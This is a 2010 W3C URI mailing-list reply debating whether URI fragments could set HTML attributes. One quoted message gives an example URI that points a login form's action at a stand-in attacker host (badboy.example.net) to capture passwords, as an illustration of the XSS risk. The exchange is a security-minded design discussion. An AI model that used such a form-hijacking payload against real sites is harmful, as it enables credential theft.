RE: is it possible to handle an XML/HTML elements attribute via the URI?

> To: uri@w3.org
> From: usenet2010@cfaerber.name
> Date: Mon, 1 Nov 2010 18:42:39 +0100
> Subject: Re: is it possible to handle an XML/HTML elements attribute via the   URI?
> 
> On 2010-10-31 01:09:02 +0200, Matthew Millar said:
> > I haven't got alot of XSS experience, so please correct me if I'm mistaken.
> > 
> > As far as i'm aware, XSS comes into play, when a website or perhaps a 
> > server has malicious code or handles a request badly, to the extent 
> > that some information gets passed to another website or server, i.e. 
> > javascript creating a call to a remote database and recording data from 
> > the local machine.
> 
> These flaws allow attackers to introduce their own code into foreign webpages.
> 
> The problem with this is that both the browser and the user think the 
> code came from the webpage and are mislead to trust it. For example, 
> the user might enter their credentials into a form that sends the 
> password to the attacked instead of the webpage, the browser might 
> grant a script access to cookies that belong to the webpage, and so on.
> 
> Allowing URIs to override parts of the document creates a new way to 
> introduce foreign code, e.g.:
> http://www.example.com/login#login['action']=http://badboy.example.net/givemeyourpassword
> 
> I 
> 
> > think this feature could be standardised so it wasn't an XSS threat, 
> > however it would have to be strictly specified as to what attributes 
> > could be controlled, or perhaps what elements could be handled, i.e. 
> > only 100% benign HTML, and CSS.
> 
> Even seemingly harmless elements such as 'dir' may be a problem. 
> Consider a financial statement that reads "9231" instead of "1239", 
> obviously coming from the official website of a company.
> 

If this URI feature were used inline with the DTD, then I don't think this would pose a security threat.

This approach would also leave the URI design uncomplicated, and leave 
the difficult differentiations of fragment controllable elements down to
 the DTD.

Different DTD's could then specify which elements/attributes can be controlled. 

This could be used inline with a DTD providing a new attribute, "controllable=[BOOLEAN]", for safe elements, so web developers can specify whether they want users to be able to control an element via a fragment.

The DTD would have protection built in, to ensure that only 100% benign HTML, and CSS can be controlled, but on top of that, the web developer would have to specify whether they even want an element to be controllable via a fragment.

So in the case of your dir example, yes the DTD might allow the dir to be configured, however the web developer would actually need to allow the element to be controllable in the first place.

It would give web developers alot more power, as well as users; in a similar fashion to javascript. If its used conscientiously, then i believe it would be an asset rather than a hinderance.

> Claus
> 
> 
>